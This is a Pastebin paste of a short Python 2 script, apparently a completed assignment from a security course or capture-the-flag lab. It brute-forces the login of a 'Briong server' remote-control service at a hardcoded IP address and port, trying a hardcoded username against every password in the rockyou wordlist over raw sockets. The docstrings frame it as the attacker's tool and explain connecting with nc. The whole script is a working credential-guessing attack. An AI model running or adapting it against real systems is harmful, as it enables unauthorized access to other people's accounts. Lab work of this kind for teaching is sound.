Advertisement
Guest User

Untitled

a guest
Feb 15th, 2018
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.61 KB | None | 0 0
  1. """
  2.    If you know the IP address of the Briong server and you
  3.    know the port number of the service you are trying to connect
  4.    to, you can use nc or telnet in your Linux terminal to interface
  5.    with the server. To do so, run:
  6.        $ nc <ip address here> <port here>
  7.    In the above the example, the $-sign represents the shell, nc is the command
  8.    you run to establish a connection with the server using an explicit IP address
  9.    and port number.
  10.    If you have the discovered the IP address and port number, you should discover
  11.    that there is a remote control service behind a certain port. You will know you
  12.    have discovered the correct port if you are greeted with a login prompt when you
  13.    nc to the server.
  14.    In this Python script, we are mimicking the same behavior of nc'ing to the remote
  15.    control service, however we do so in an automated fashion. This is because it is
  16.    beneficial to script the process of attempting multiple login attempts, hoping that
  17.    one of our guesses logs us (the attacker) into the Briong server.
  18.    Feel free to optimize the code (ie. multithreading, etc) if you feel it is necessary.
  19. """
  20.  
  21. import socket
  22.  
  23. host = "129.2.94.135" # IP address here
  24. port = 1337 # Port here
  25. wordlist = "/usr/share/wordlists/rockyou.txt" # Point to wordlist file
  26.  
  27. def brute_force():
  28.     """
  29.        Sockets: https://docs.python.org/2/library/socket.html
  30.        How to use the socket s:
  31.            # Establish socket connection
  32.            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  33.            s.connect((host, port))
  34.            Reading:
  35.                data = s.recv(1024)     # Receives 1024 bytes from IP/Port
  36.                print(data)             # Prints data
  37.            Sending:
  38.                s.send("something to send\n")   # Send a newline \n at the end of your command
  39.        General idea:
  40.            Given that you know a potential username, use a wordlist and iterate
  41.            through each possible password and repeatedly attempt to login to
  42.            the Briong server.
  43.    """
  44.  
  45.     username = "mnthomp22"   # Hint: use OSINT
  46.     password = ""   # Hint: use wordlist
  47.    
  48.     pwds = [p.rstrip('\n') for p in open(wordlist)]
  49.    
  50.     for p in pwds:
  51.         s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  52.         s.connect( (host,port) )
  53.  
  54.         data = s.recv(1024)
  55.  
  56.         s.send(username +"\n")
  57.         data = s.recv(1024)
  58.        
  59.         s.send(p +"\n")
  60.         data = s.recv(1024)
  61.  
  62.         print("Attempting: " + p)
  63.  
  64.         if data != "Fail\n":
  65.             password = p
  66.             break
  67.  
  68.     print("Cracked!!! - Password is: " + password)
  69.  
  70.  
  71.  
  72. if __name__ == '__main__':
  73.     brute_force()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement